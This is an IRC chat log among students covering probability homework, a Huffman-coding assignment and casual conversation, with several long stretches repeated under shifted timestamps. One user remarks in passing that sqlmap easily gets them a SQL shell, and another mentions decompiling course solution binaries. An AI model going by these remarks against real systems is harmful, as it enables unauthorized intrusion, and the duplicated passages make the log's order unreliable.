[2015-03-06T17:55:05-0500] <+awe> Hmm, well, if Var[X] = E[X], then E[X]^2 - E[X^2] = E[X]
[2015-03-06T17:55:43-0500] <+awe> Erm, I got that backwards.
[2015-03-06T17:55:52-0500] <+awe> E[X^2] - E[X]^2 = E[X]
[2015-03-06T17:56:33-0500] <nezorg> I'm pretty sure (c) is false
[2015-03-06T17:56:38-0500] <+awe> I think so too.
[2015-03-06T17:57:03-0500] <+awe> I just don't want to guess.
[2015-03-06T17:57:19-0500] <+awe> Because I keep losing points on these quizzes for not being certain enough about stuff like that.
[2015-03-06T17:57:26-0500] <grantwu> uh
[2015-03-06T17:57:31-0500] <grantwu> look into chebyshev something
[2015-03-06T17:57:35-0500] <+awe> ?
[2015-03-06T17:57:39-0500] <+awe> Wow, such helpful
[2015-03-06T17:57:46-0500] <grantwu> egh never mind
[2015-03-06T17:57:49-0500] <+awe> "Look up name of famous mathematician."
[2015-03-06T17:58:10-0500] <grantwu> I meant Chebyshev's inequality
[2015-03-06T17:58:15-0500] <grantwu> But never mind, it's not relevant.
[2015-03-06T17:58:23-0500] <+awe> Cheybshev's inequality doesn't imply anything about that.
[2015-03-06T17:58:31-0500] <grantwu> Yes I just said that
[2015-03-06T17:58:37-0500] <+awe> But yeah, I know about Chebyshev's inequality and Markov's inequality.
[2015-03-06T17:59:21-0500] <grantwu> Wait c is false
[2015-03-06T17:59:29-0500] <grantwu> Suppose a random variable always equals 1
[2015-03-06T17:59:33-0500] <grantwu> Isn't its variance 0?
[2015-03-06T18:00:05-0500] <grantwu> And d is true, consider a random variable that always equals 0
[2015-03-06T18:00:14-0500] <+awe> Ah, fair point.
[2015-03-06T18:00:25-0500] <nezorg> yeah, that's what i was thinking
[2015-03-06T18:00:27-0500] <+awe> And C is indeed false.
[2015-03-06T18:00:34-0500] <+awe> I just wanted a good counter-example for c.
[2015-03-06T18:00:38-0500] <+awe> That was a really good one.
[2015-03-06T18:00:58-0500] <+awe> Suppose I throw 3 balls and each ball is equally likely to land in one of 4 buckets. What's the probability no bucket has more than 1 ball in it?
[2015-03-06T18:01:04-0500] <+awe> What type of distribution is this?
[2015-03-06T18:01:42-0500] <grantwu> er
[2015-03-06T18:01:49-0500] <grantwu> hrm... can you model this with geometric
[2015-03-06T18:02:19-0500] <grantwu> no non-constant probability
[2015-03-06T18:02:32-0500] <+awe> I'm not sure that any of the distributions I know can model this.
[2015-03-06T18:03:10-0500] <+awe> So, I guess you would just solve it by doing 1/4(1/3)(1/2)?
[2015-03-06T18:03:31-0500] <+awe>  But no, that's not one of the answers.
[2015-03-06T18:04:13-0500] <grantwu> If we define S as no bucket having more than 1 ball in it, then Pr[F] = 3/4 * 2/3 I think
[2015-03-06T18:04:32-0500] <grantwu> no shit
[2015-03-06T18:04:34-0500] <grantwu> nononoo
[2015-03-06T18:04:38-0500] <grantwu> 3/4 * 2/4
[2015-03-06T18:04:48-0500] <+awe> So, 3/8?
[2015-03-06T18:04:49-0500] <grantwu> Probability is hard :'(
[2015-03-06T18:04:56-0500] <+awe> How do you get that?
[2015-03-06T18:05:26-0500] <grantwu> Well, the first ball can go anywhere.  Then there's a 3/4 chance that the next ball you throw lands in a good bucket.  And a 2/4 chance the next one after that lands in a good bucket
[2015-03-06T18:05:37-0500] <+awe> Ah, okay.
[2015-03-06T18:05:50-0500] <grantwu> doh I thought you actually need a distribution
[2015-03-06T18:05:51-0500] <+awe> So, it's what I meant to do but did totally the wrong way with 1/4*1/3*1/2
[2015-03-06T18:06:08-0500] <+awe> Ok.
[2015-03-06T18:06:14-0500] <+awe> Note to self: cease derping.
[2015-03-06T18:07:05-0500] <grantwu> Methinks this would be the birthday paradox distribution
[2015-03-06T18:07:10-0500] <grantwu> If that's actually a distribution.
[2015-03-06T18:07:13-0500] <+awe> lol.
[2015-03-06T18:07:28-0500] <grantwu> My favorite formulation of the pigeonhole principle:
[2015-03-06T18:07:32-0500] <+awe> By the pigeonhole principle, the probability reaches 100% when the number of people reaches 367 (since there are 366 possible birthdays, including February 29). However, 99.9% probability is reached with just 70 people, and 50% probability with 23 people.
[2015-03-06T18:07:48-0500] <+awe> Getting the additional 297 people was really worthwhile.
[2015-03-06T18:07:50-0500] <grantwu> If you have n pigeons, and n + 1 holes, at least one pigeon has more than one hole.
[2015-03-06T18:08:38-0500] <grantwu> huehuehuehue
[2015-03-06T18:08:49-0500] <+awe> Apparently, it's a binomial distribution?
[2015-03-06T18:09:18-0500] <grantwu> I'm not seeing how that would work
[2015-03-06T18:09:32-0500] <+awe> Well, it's one where you don't have n and p.
[2015-03-06T18:09:35-0500] <+awe> You have np.
[2015-03-06T18:09:47-0500] <+awe> Since apparently, you can apply Poisson approximation.
[2015-03-06T18:11:42-0500] <+awe> np = C(# of pidgeons, 2) / # of holes
[2015-03-06T18:13:26-0500] <+awe> https://en.wikipedia.org/wiki/Birthday_problem#Poisson_approximation
[2015-03-06T18:14:14-0500] <+awe> Oh, another example for "There exists random variables whose expecation and variance are equal."
[2015-03-06T18:14:19-0500] <+awe> Poisson distribution.
[2015-03-06T18:14:20-0500] <+awe> Duh.
[2015-03-06T18:16:28-0500] <+awe> LOL
[2015-03-06T18:16:40-0500] <+awe> grantwu: guess what the last problem on the latest homework assignment is?
[2015-03-06T18:17:17-0500] <+awe> grantwu: "Suppose there are t students in the class and that everyone’s birthday is equally like to spreadsheet or be any of the 365 days of the year (in particular, we’re ignoring leap years)."
[2015-03-06T18:17:32-0500] <+awe> Sorry, ignore the word spreadsheet.
[2015-03-06T18:17:34-0500] <+awe> and or.
[2015-03-06T18:17:50-0500] <+awe> "Suppose there are t students in the class and that everyone’s birthday is equally like to be any of the 365 days of the year (in particular, we’re ignoring leap years)."
[2015-03-06T18:19:02-0500] <grantwu> lol
[2015-03-06T18:19:40-0500] <+awe> In my systems course:
[2015-03-06T18:19:41-0500] <+awe> "We have provided the solution binaries as huffcs and huffds that you can use to see if your implementation is working properly."
[2015-03-06T18:19:57-0500] <+awe> So, what you're telling me is I can just reverse-engineer the answers from your solution? ;)
[2015-03-06T18:20:15-0500] <grantwu> well, you could, but is that really easier
[2015-03-06T18:20:21-0500] <+awe> No.
[2015-03-06T18:20:22-0500] <+awe> It's not.
[2015-03-06T18:20:26-0500] <+awe> It's way easier to just write it.
[2015-03-06T18:21:50-0500] <+awe> grantwu: our next assignment is going to be translate asm into C lol
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[2015-03-06T18:32:51-0500] <ubuntor> https://twitter.com/ShittyCTFAdvice
[2015-03-06T18:44:05-0500] <nezorg> sqlmap is actually really nice, even though I have no idea how to use it
[2015-03-06T18:44:12-0500] <nezorg> it usually gets me a sql shell really easily
[2015-03-06T18:44:31-0500] <nezorg> [15:21] (+awe) grantwu: our next assignment is going to be translate asm into C lol
[2015-03-06T18:44:48-0500] <nezorg> if you do that well, would you mind publishing a paper about it? kthx
[2015-03-06T18:45:25-0500] <+awe> lol
[2015-03-06T18:45:31-0500] <+awe> I didn't say it was to do it well, nezorg.
[2015-03-06T18:45:39-0500] <+awe> nezorg: and it's to do so by hand.
[2015-03-06T18:45:40-0500] <nezorg> true
[2015-03-06T18:45:44-0500] <nezorg> ...oh
[2015-03-06T18:45:57-0500] <nezorg> that's not so interesting
[2015-03-06T18:46:02-0500] <+awe> Of course not.
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[2015-03-06T19:20:51-0500] <+awe> nezorg: wow, this code has an incredible amount of comments.
[2015-03-06T19:21:00-0500] <+awe> nezorg: they wrote giant essays about this stuff.
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[2015-03-06T19:26:08-0500] <+awe> I don't understand this at all.
[2015-03-06T19:26:36-0500] <+awe> incoming wall
[2015-03-06T19:26:36-0500] <+awe> / First, we need to check whether we need to read a byte from the file.
[2015-03-06T19:26:36-0500] <+awe>   // The clue for this case is that `bfile->byte` equals `ALL_BITS_READ`.  If
[2015-03-06T19:26:36-0500] <+awe>   // the value read was EOF (that is, EOF_VALUE if you are looking at its
[2015-03-06T19:26:36-0500] <+awe>   // value in bfile->byte), then return EOF since there are no more bits to
[2015-03-06T19:26:36-0500] <+awe>   // read.
[2015-03-06T19:26:36-0500] <+awe>   // After reading a new byte successfully, increment the count of bytes read.
[2015-03-06T19:26:36-0500] <+awe>   // Then you need to shift the byte value left repeatedly until the high bit
[2015-03-06T19:26:36-0500] <+awe>   // is 0, and then shift once more to get rid of that 0.  Remember: when
[2015-03-06T19:26:36-0500] <+awe>   // shifting a byte the first time, insert a 1 in the low bit and all later
[2015-03-06T19:26:36-0500] <+awe>   // times, shift in a 1.  (We found it easy to have a variable indicating the
[2015-03-06T19:26:36-0500] <+awe>   // value to shift in.  Initialize it to 1 after reading a byte and after any
[2015-03-06T19:26:36-0500] <+awe>   // shift, set it to 0.)
[2015-03-06T19:26:36-0500] <+awe>   // If the value on entry was not `ALL_BITS_READ`, or if we have completed
[2015-03-06T19:26:36-0500] <+awe>   // the preparations after reading a fresh byte, we can proceed to extract
[2015-03-06T19:26:36-0500] <+awe>   // one bit and return it.  The bit to return is the high order bit of the
[2015-03-06T19:26:36-0500] <+awe>   // byte.  Perform the shift left operation before returning (shifting in a
[2015-03-06T19:26:36-0500] <+awe>   // 0), to leave the byte ready for the next call.
[2015-03-06T19:27:37-0500] <+awe> Oh, they just don't mention that they want you to use fgetc.
[2015-03-06T19:28:25-0500] <Hyper> awe: tl;dr
[2015-03-06T19:28:44-0500] <+awe> we're doing some stupid bit-wise IO for Huffman coding.
[2015-03-06T19:28:59-0500] <+awe> The description of this one function made a jump without really explaining it.
[2015-03-06T19:29:20-0500] <Hyper> kay
[2015-03-06T19:29:25-0500] <Hyper> still tl;dr
[2015-03-06T19:30:21-0500] <+awe> I really don't get the middle part.
[2015-03-06T19:30:40-0500] <+awe> Shift the byte value left repeatedly until the high bit is 0 and then shift once more to get rid of that 0?
[2015-03-06T19:30:49-0500] <+awe> wouldn't that just 0 the number?
[2015-03-06T19:31:01-0500] <Hyper> no, there might be values beyond that
[2015-03-06T19:31:17-0500] <Hyper> basically shift until you're 1 bit past the next 0
[2015-03-06T19:31:23-0500] <+awe> owait, duh.
[2015-03-06T19:33:26-0500] <+awe> Hyper: b & 0b10000000 == 0
[2015-03-06T19:33:35-0500] <+awe> Hyper: that's the easiest way to check if the highest bit is 0, right?
[2015-03-06T19:33:36-0500] <Hyper> something like that
[2015-03-06T19:34:58-0500] <+awe> The uhh... note they have afterward is pretty lulzy.
[2015-03-06T19:35:06-0500] <+awe> have a variable indicating the value to shift in?
[2015-03-06T19:35:53-0500] <+awe> Wait, eh, I actually have to do that.
[2015-03-06T19:35:59-0500] <+awe> They want such weirdness.
[2015-03-06T19:40:45-0500] <+awe> Okay, everything works except for one my decryption hangs lol.
[2015-03-06T19:40:51-0500] <+awe> and I know which function is causing it.
[2015-03-06T19:40:54-0500] <+awe> But the encryption works.
[2015-03-06T19:41:04-0500] <+awe> (I tested using their decryption solution)
[2015-03-06T19:41:07-0500] <Hyper> awe: it's almost as if they're trying to teach people who don't know how to do things how to do them
[2015-03-06T19:41:23-0500] <Hyper> so they put it in terms that they might understand without already understanding them
[2015-03-06T19:41:25-0500] <+awe> Hyper: No, I mean like... this bitwise IO part is really weird.
[2015-03-06T19:41:42-0500] <Hyper> I guess
[2015-03-06T19:52:31-0500] <LittleBobbyTables> JacobEdelman: why are generators stupid
[2015-03-06T20:56:19-0500] <+awe> Ugh. I need to fix this.
[2015-03-06T21:04:43-0500] <LittleBobbyTables> When does opentoall end
[2015-03-06T21:07:16-0500] <adunna> Midnight sunday night/monday morning
[2015-03-06T21:07:37-0500] <LittleBobbyTables> k
[2015-03-06T21:07:48-0500] <LittleBobbyTables> Nice specification on that :P
[2015-03-06T21:10:01-0500] <+awe> grantwu: also, honestly, I think with hexrays, it might be easier to just decompile it and then copy that into legitimate C.
[2015-03-06T21:20:45-0500] <+awe> Okay, uhh... it can decrypt and encrypt.
[2015-03-06T21:20:49-0500] <+awe> And it works.
[2015-03-06T21:21:00-0500] <+awe> But I fail a test?
[2015-03-06T21:22:08-0500] <ubuntor> edge cases?
[2015-03-06T21:24:00-0500] <+awe> So, I tried the file that it's failing on with huffc.
[2015-03-06T21:24:05-0500] <+awe> "Encoder failed to initialize."
[2015-03-06T21:24:31-0500] <+awe> That's not code I wrote?
[2015-03-06T21:26:32-0500] <+awe> Oh, no, I see why.
[2015-03-06T21:28:54-0500] <+awe> It's because the encoder fails to initialize if the tree is null.
[2015-03-06T21:29:36-0500] <LittleBobbyTables> JacobEdelman: you here
[2015-03-06T21:29:38-0500] <+awe> reasons the tree might be null: 1) priority queue fails to initialize (which is unlikely since that's not code I wrote), 2) file fails to open (which is unlikely since it exists), 3) We fail to build the tree.
[2015-03-06T21:29:46-0500] <+awe> I don't know why we'd fail to build the tree.
[2015-03-06T21:30:11-0500] <+awe> The code for building the tree is identical to the algorithmic description above.
[2015-03-06T21:30:54-0500] <+awe> So, it would return null if the priority queue dequeue didn't work.
[2015-03-06T21:30:59-0500] <+awe> Ok, maybe there's an edge case there.
[2015-03-06T21:36:54-0500] <+awe> Okay, so, dequeue only returns null if the queue is empty.
[2015-03-06T21:40:03-0500] <+awe> So, there's probably nothing wrong with that.
[2015-03-06T21:41:58-0500] <+awe> So, the only way that the priority queue would be empty is if computing the frequency is broken.
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[2015-03-06T21:46:58-0500] <+awe> Okay. I fixed it.
[2015-03-06T21:50:34-0500] <LittleBobbyTables> awe
[2015-03-06T21:50:37-0500] <LittleBobbyTables> what's jacobs email
[2015-03-06T21:51:42-0500] <LittleBobbyTables> me@jacobedelman.?
[2015-03-06T21:54:06-0500] <+awe> Iunno.
[2015-03-06T21:55:32-0500] <LittleBobbyTables> I googled it
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[2015-03-06T19:30:48-0500] <+awe> wouldn't that just 0 the number?
[2015-03-06T19:30:59-0500] <Hyper> no, there might be values beyond that
[2015-03-06T19:31:16-0500] <Hyper> basically shift until you're 1 bit past the next 0
[2015-03-06T19:31:22-0500] <+awe> owait, duh.
[2015-03-06T19:33:25-0500] <+awe> Hyper: b & 0b10000000 == 0
[2015-03-06T19:33:34-0500] <+awe> Hyper: that's the easiest way to check if the highest bit is 0, right?
[2015-03-06T19:33:35-0500] <Hyper> something like that
[2015-03-06T19:34:57-0500] <+awe> The uhh... note they have afterward is pretty lulzy.
[2015-03-06T19:35:05-0500] <+awe> have a variable indicating the value to shift in?
[2015-03-06T19:35:52-0500] <+awe> Wait, eh, I actually have to do that.
[2015-03-06T19:35:58-0500] <+awe> They want such weirdness.
[2015-03-06T19:40:44-0500] <+awe> Okay, everything works except for one my decryption hangs lol.
[2015-03-06T19:40:50-0500] <+awe> and I know which function is causing it.
[2015-03-06T19:40:53-0500] <+awe> But the encryption works.
[2015-03-06T19:41:03-0500] <+awe> (I tested using their decryption solution)
[2015-03-06T19:41:05-0500] <Hyper> awe: it's almost as if they're trying to teach people who don't know how to do things how to do them
[2015-03-06T19:41:22-0500] <Hyper> so they put it in terms that they might understand without already understanding them
[2015-03-06T19:41:23-0500] <+awe> Hyper: No, I mean like... this bitwise IO part is really weird.
[2015-03-06T19:41:41-0500] <Hyper> I guess
[2015-03-06T19:52:29-0500] <LittleBobbyTables> JacobEdelman: why are generators stupid
[2015-03-06T20:56:18-0500] <+awe> Ugh. I need to fix this.
[2015-03-06T21:04:41-0500] <LittleBobbyTables> When does opentoall end
[2015-03-06T21:07:15-0500] <adunna> Midnight sunday night/monday morning
[2015-03-06T21:07:36-0500] <LittleBobbyTables> k
[2015-03-06T21:07:47-0500] <LittleBobbyTables> Nice specification on that :P
[2015-03-06T21:09:59-0500] <+awe> grantwu: also, honestly, I think with hexrays, it might be easier to just decompile it and then copy that into legitimate C.
[2015-03-06T21:20:44-0500] <+awe> Okay, uhh... it can decrypt and encrypt.
[2015-03-06T21:20:48-0500] <+awe> And it works.
[2015-03-06T21:20:59-0500] <+awe> But I fail a test?
[2015-03-06T21:22:07-0500] <ubuntor> edge cases?
[2015-03-06T21:23:59-0500] <+awe> So, I tried the file that it's failing on with huffc.
[2015-03-06T21:24:04-0500] <+awe> "Encoder failed to initialize."
[2015-03-06T21:24:30-0500] <+awe> That's not code I wrote?
[2015-03-06T21:26:31-0500] <+awe> Oh, no, I see why.
[2015-03-06T21:28:53-0500] <+awe> It's because the encoder fails to initialize if the tree is null.
[2015-03-06T21:29:35-0500] <LittleBobbyTables> JacobEdelman: you here
[2015-03-06T21:29:37-0500] <+awe> reasons the tree might be null: 1) priority queue fails to initialize (which is unlikely since that's not code I wrote), 2) file fails to open (which is unlikely since it exists), 3) We fail to build the tree.
[2015-03-06T21:29:44-0500] <+awe> I don't know why we'd fail to build the tree.
[2015-03-06T21:30:10-0500] <+awe> The code for building the tree is identical to the algorithmic description above.
[2015-03-06T21:30:53-0500] <+awe> So, it would return null if the priority queue dequeue didn't work.
[2015-03-06T21:30:58-0500] <+awe> Ok, maybe there's an edge case there.
[2015-03-06T21:36:53-0500] <+awe> Okay, so, dequeue only returns null if the queue is empty.
[2015-03-06T21:40:02-0500] <+awe> So, there's probably nothing wrong with that.
[2015-03-06T21:41:56-0500] <+awe> So, the only way that the priority queue would be empty is if computing the frequency is broken.
[2015-03-06T21:46:57-0500] <+awe> Okay. I fixed it.
[2015-03-06T21:50:33-0500] <LittleBobbyTables> awe
[2015-03-06T21:50:36-0500] <LittleBobbyTables> what's jacobs email
[2015-03-06T21:51:41-0500] <LittleBobbyTables> me@jacobedelman.?
[2015-03-06T21:54:05-0500] <+awe> Iunno.
[2015-03-06T21:55:31-0500] <LittleBobbyTables> I googled it
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[2015-03-06T22:44:10-0500] <hardmath123> it's frightening how productive i was for the 15 minutes when our internet went out
[2015-03-06T22:44:19-0500] <Tamini> heh, what did you get done?
[2015-03-06T22:44:27-0500] <Tamini> and psh, we're totally worth the unproductiveness <3
[2015-03-06T22:44:33-0500] <hardmath123> an entire chem lab :P 
[2015-03-06T22:44:36-0500] <hardmath123> also, yes <3
[2015-03-06T22:46:42-0500] <jwoglom> so a couple of friends and I are calling tech support scam numbers
[2015-03-06T22:46:45-0500] <jwoglom> over a google hangout
[2015-03-06T22:46:48-0500] <jwoglom> this is hilarious
[2015-03-06T22:51:45-0500] <grantwu> ubuntor: Do you use a HiDPI screen?
[2015-03-06T22:52:19-0500] <ubuntor> i don't think so
[2015-03-06T22:52:44-0500] <grantwu> Chrome/Firefox on HiDPi on Linux is terrible :'(
[2015-03-06T22:54:10-0500] <ubuntor> http://fedoramagazine.org/how-to-get-firefox-looking-right-on-a-high-dpi-display-and-fedora/
[2015-03-06T22:54:30-0500] <grantwu> https://lh6.googleusercontent.com/-gv7b6Y-3P08/VPphi-50SsI/AAAAAAAAF0c/6cACSgXUt5E/w1032-h1376-no/IMG_20150306_212504.jpg 
[2015-03-06T22:54:32-0500] <grantwu> oh
[2015-03-06T22:54:58-0500] <grantwu> Interesting
[2015-03-06T22:55:57-0500] <ubuntor> https://wiki.archlinux.org/index.php/HiDPI#Browsers
[2015-03-06T22:58:19-0500] <grantwu> That's out of date
[2015-03-06T22:58:32-0500] <grantwu> Or well
[2015-03-06T22:58:41-0500] <grantwu> It isn't, but I showed you what happens when you try the chrome thing
[2015-03-06T22:58:54-0500] <grantwu> That picture is with the flag enabled
[2015-03-06T22:59:11-0500] <grantwu> (and print screen closes the menu)
[2015-03-06T22:59:40-0500] <ubuntor> oh, huh
[2015-03-06T23:00:35-0500] <ubuntor> https://code.google.com/p/chromium/issues/detail?id=400837
[2015-03-06T23:00:52-0500] <ubuntor> try compiling chromium from source?
[2015-03-06T23:01:03-0500] <grantwu> ._.
[2015-03-07T00:00:18-0500] <hardmath123> i just overheard the following exchange between my parents
[2015-03-07T00:00:21-0500] <hardmath123> "it says wow"
[2015-03-07T00:00:27-0500] <hardmath123> "it doesn't say wow"
[2015-03-07T00:00:37-0500] <hardmath123> "why would you write 'wow' there?"
[2015-03-07T00:00:40-0500] <hardmath123> "IT SAYS MOM"
[2015-03-07T00:00:48-0500] <hardmath123> -_-
[2015-03-07T00:15:27-0500] <Tamini> loool
[2015-03-07T00:15:31-0500] <Tamini> wait darn, matt hecked up
[2015-03-07T00:15:43-0500] <Tamini> alokpathy, JacobEdelman: there is a possibility we won't get space for pclassic this year :X
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[2015-03-07T00:55:05-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-06T21:28:53-0500] <+awe> It's because the encoder fails to initialize if the tree is null.
[2015-03-06T21:29:35-0500] <LittleBobbyTables> JacobEdelman: you here
[2015-03-06T21:29:37-0500] <+awe> reasons the tree might be null: 1) priority queue fails to initialize (which is unlikely since that's not code I wrote), 2) file fails to open (which is unlikely since it exists), 3) We fail to build the tree.
[2015-03-06T21:29:44-0500] <+awe> I don't know why we'd fail to build the tree.
[2015-03-06T21:30:10-0500] <+awe> The code for building the tree is identical to the algorithmic description above.
[2015-03-06T21:30:53-0500] <+awe> So, it would return null if the priority queue dequeue didn't work.
[2015-03-06T21:30:58-0500] <+awe> Ok, maybe there's an edge case there.
[2015-03-06T21:36:53-0500] <+awe> Okay, so, dequeue only returns null if the queue is empty.
[2015-03-06T21:40:02-0500] <+awe> So, there's probably nothing wrong with that.
[2015-03-06T21:41:56-0500] <+awe> So, the only way that the priority queue would be empty is if computing the frequency is broken.
[2015-03-06T21:46:57-0500] <+awe> Okay. I fixed it.
[2015-03-06T21:50:33-0500] <LittleBobbyTables> awe
[2015-03-06T21:50:36-0500] <LittleBobbyTables> what's jacobs email
[2015-03-06T21:51:41-0500] <LittleBobbyTables> me@jacobedelman.?
[2015-03-06T21:54:05-0500] <+awe> Iunno.
[2015-03-06T21:55:31-0500] <LittleBobbyTables> I googled it
[2015-03-06T22:44:09-0500] <hardmath123> it's frightening how productive i was for the 15 minutes when our internet went out
[2015-03-06T22:44:18-0500] <Tamini> heh, what did you get done?
[2015-03-06T22:44:26-0500] <Tamini> and psh, we're totally worth the unproductiveness <3
[2015-03-06T22:44:32-0500] <hardmath123> an entire chem lab :P 
[2015-03-06T22:44:34-0500] <hardmath123> also, yes <3
[2015-03-06T22:46:41-0500] <jwoglom> so a couple of friends and I are calling tech support scam numbers
[2015-03-06T22:46:44-0500] <jwoglom> over a google hangout
[2015-03-06T22:46:47-0500] <jwoglom> this is hilarious
[2015-03-06T22:51:44-0500] <grantwu> ubuntor: Do you use a HiDPI screen?
[2015-03-06T22:52:18-0500] <ubuntor> i don't think so
[2015-03-06T22:52:43-0500] <grantwu> Chrome/Firefox on HiDPi on Linux is terrible :'(
[2015-03-06T22:54:09-0500] <ubuntor> http://fedoramagazine.org/how-to-get-firefox-looking-right-on-a-high-dpi-display-and-fedora/
[2015-03-06T22:54:29-0500] <grantwu> https://lh6.googleusercontent.com/-gv7b6Y-3P08/VPphi-50SsI/AAAAAAAAF0c/6cACSgXUt5E/w1032-h1376-no/IMG_20150306_212504.jpg 
[2015-03-06T22:54:31-0500] <grantwu> oh
[2015-03-06T22:54:56-0500] <grantwu> Interesting
[2015-03-06T22:55:56-0500] <ubuntor> https://wiki.archlinux.org/index.php/HiDPI#Browsers
[2015-03-06T22:58:18-0500] <grantwu> That's out of date
[2015-03-06T22:58:31-0500] <grantwu> Or well
[2015-03-06T22:58:40-0500] <grantwu> It isn't, but I showed you what happens when you try the chrome thing
[2015-03-06T22:58:53-0500] <grantwu> That picture is with the flag enabled
[2015-03-06T22:59:10-0500] <grantwu> (and print screen closes the menu)
[2015-03-06T22:59:39-0500] <ubuntor> oh, huh
[2015-03-06T23:00:34-0500] <ubuntor> https://code.google.com/p/chromium/issues/detail?id=400837
[2015-03-06T23:00:51-0500] <ubuntor> try compiling chromium from source?
[2015-03-06T23:01:02-0500] <grantwu> ._.
[2015-03-07T00:00:17-0500] <hardmath123> i just overheard the following exchange between my parents
[2015-03-07T00:00:20-0500] <hardmath123> "it says wow"
[2015-03-07T00:00:26-0500] <hardmath123> "it doesn't say wow"
[2015-03-07T00:00:35-0500] <hardmath123> "why would you write 'wow' there?"
[2015-03-07T00:00:38-0500] <hardmath123> "IT SAYS MOM"
[2015-03-07T00:00:47-0500] <hardmath123> -_-
[2015-03-07T00:15:25-0500] <Tamini> loool
[2015-03-07T00:15:29-0500] <Tamini> wait darn, matt hecked up
[2015-03-07T00:15:41-0500] <Tamini> alokpathy, JacobEdelman: there is a possibility we won't get space for pclassic this year :X
[2015-03-07T00:55:06-0500] Mode is +nt
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[2015-03-07T02:33:21-0500] <grantwu> ubuntor: dual boot is surprisingly painless
[2015-03-07T02:33:32-0500] <grantwu> Worked without any intervention from me
[2015-03-07T02:33:41-0500] <grantwu> Well, I actually still have to make sure windows works but...
[2015-03-07T02:33:58-0500] <grantwu> Also: I think I'll use firefox instead meh
[2015-03-07T02:34:13-0500] <grantwu> I give up on Chrome
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[2015-03-07T11:15:58-0500] <JacobEdelman_> Hyper: I saw the obfuscated hello world writeup a while ago
[2015-03-07T11:16:02-0500] <JacobEdelman_> I quiet enjoyed it
[2015-03-07T11:16:04-0500] <Hyper> mhm
[2015-03-07T11:16:27-0500] <Hyper> JacobEdelman_: also I'm down to 171 characters now
[2015-03-07T11:16:43-0500] <Hyper> https://gist.github.com/anonymous/123152189ec312108494
[2015-03-07T11:16:52-0500] <JacobEdelman_> nice
[2015-03-07T11:16:57-0500] <Hyper> and only 1 lambda
[2015-03-07T11:17:11-0500] <JacobEdelman_> hmm... would a second lambda to compress int to one character be useful?
[2015-03-07T11:17:18-0500] <Hyper> no
[2015-03-07T11:17:22-0500] <JacobEdelman_> oh, okay
[2015-03-07T11:17:24-0500] <Hyper> I was using that before
[2015-03-07T11:17:27-0500] <JacobEdelman_> okay
[2015-03-07T11:17:30-0500] <Hyper> it was longer lol
[2015-03-07T11:17:44-0500] <JacobEdelman_> a, okay
[2015-03-07T11:17:48-0500] <Hyper> "lambda o:" on it's own is like 9 characters
[2015-03-07T11:18:09-0500] <Hyper> plus the int to pass in and you're already not breaking even, then you need parens
[2015-03-07T11:18:26-0500] <Hyper> and all the o's instead of int's cost a character each :(
[2015-03-07T11:18:45-0500] <Hyper> but yeah that was my intuition too lol
[2015-03-07T11:20:08-0500] <Hyper> anyways off to hackny
[2015-03-07T11:23:54-0500] <JacobEdelman_> good luck!
[2015-03-07T11:30:41-0500] <ubuntor> grantwu: niceee
[2015-03-07T11:35:01-0500] <JacobEdelman_> I'm reading a scholarary article involving copyright law and Kirk/Spock fanfiction
[2015-03-07T11:35:15-0500] <JacobEdelman_> :P
[2015-03-07T11:36:03-0500] <JacobEdelman_> oh wait, now it moved on to Qui-Gon and Obi-Wan
[2015-03-07T11:36:05-0500] <JacobEdelman_> :P
[2015-03-07T11:39:40-0500] <+awe> JacobEdelman_: Neat.
[2015-03-07T11:40:52-0500] <+awe> JacobEdelman: I'm like 60% sure that none of the people I invited to use this IRC know how to use IRC.
[2015-03-07T11:40:56-0500] <+awe> JacobEdelman_: ^*
[2015-03-07T11:41:15-0500] <JacobEdelman_> lol
[2015-03-07T11:41:28-0500] <JacobEdelman_> where'd you invite them from?
[2015-03-07T11:41:38-0500] <hardmath123> Presumably the meatspace.
[2015-03-07T11:41:45-0500] <JacobEdelman_> yes, but where in the meatspace
[2015-03-07T11:41:54-0500] <JacobEdelman_> a specific class, club, or just form various places?
[2015-03-07T11:45:25-0500] <JacobEdelman_> also, popquiz
[2015-03-07T11:45:39-0500] <JacobEdelman_> why do nerdy people (aka us) still use IRC?
[2015-03-07T11:47:19-0500] <hardmath123> because it's a well-designed protocol and it's decentralized
[2015-03-07T11:48:44-0500] <JacobEdelman_> so? I mean, its been 27 years
[2015-03-07T11:48:49-0500] <JacobEdelman_> *been around
[2015-03-07T11:48:57-0500] <JacobEdelman_> and it is declining in popularity apparentely
[2015-03-07T11:49:29-0500] <JacobEdelman_> but it still seems to have attributes that other social networks don't have
[2015-03-07T11:49:48-0500] <JacobEdelman_> I mean, I've met strangers I befreinded them (ie, hardmath123 ) over irc
[2015-03-07T11:49:58-0500] <JacobEdelman_> but on fb or twitter that seems nearley impossible
[2015-03-07T11:50:00-0500] <JacobEdelman_> why is this?
[2015-03-07T11:50:12-0500] <+awe> Not the meatspace.
[2015-03-07T11:50:18-0500] <ubuntor> maybe it's the type of people that would use irc?
[2015-03-07T11:50:37-0500] <JacobEdelman_> ubuntor: hmm... but I feel that i go on some fb groups where those type of people exist? I don't know...
[2015-03-07T11:50:38-0500] <+awe> I invited a group called Hackers of UMass that I mentioned.
[2015-03-07T11:50:47-0500] <+awe> It's because IRC is strictly interactive.
[2015-03-07T11:50:53-0500] <JacobEdelman_> hmm
[2015-03-07T11:51:03-0500] <+awe> You can't just press like on someone's post and move on.
[2015-03-07T11:51:10-0500] <+awe> You can't favorite their tweet and keep scrolling.
[2015-03-07T11:51:14-0500] <+awe> On IRC, you have to speak
[2015-03-07T11:51:15-0500] <JacobEdelman_> yeah, good point
[2015-03-07T11:51:27-0500] <+awe> And also, it's not declining in popularity.
[2015-03-07T11:51:39-0500] <+awe> It experienced a large decline in popularity in the 90s, but has leveled off.
[2015-03-07T11:51:52-0500] <JacobEdelman_> oh, okay
[2015-03-07T11:52:08-0500] <+awe> Prior to that dropoff, everyone used IRC.
[2015-03-07T11:52:13-0500] <JacobEdelman_> hardmath123: care to elaborate on your point?
[2015-03-07T11:52:22-0500] <+awe> All of your friends at school who owned a computer would be on IRC everyday.
[2015-03-07T11:52:41-0500] <+awe> There were lots of servers that hosted regional channels named for towns.
[2015-03-07T11:52:42-0500] <JacobEdelman_> awe: really? but only nerds had internet in 90s I thought
[2015-03-07T11:52:46-0500] <+awe> Nah.
[2015-03-07T11:52:48-0500] <JacobEdelman_> I mean, thats like pre google, right?
[2015-03-07T11:52:56-0500] <+awe> The internet was being pretty commonplace.
[2015-03-07T11:52:58-0500] <+awe> It was before Google.
[2015-03-07T11:53:06-0500] <JacobEdelman_> hmm.. okay
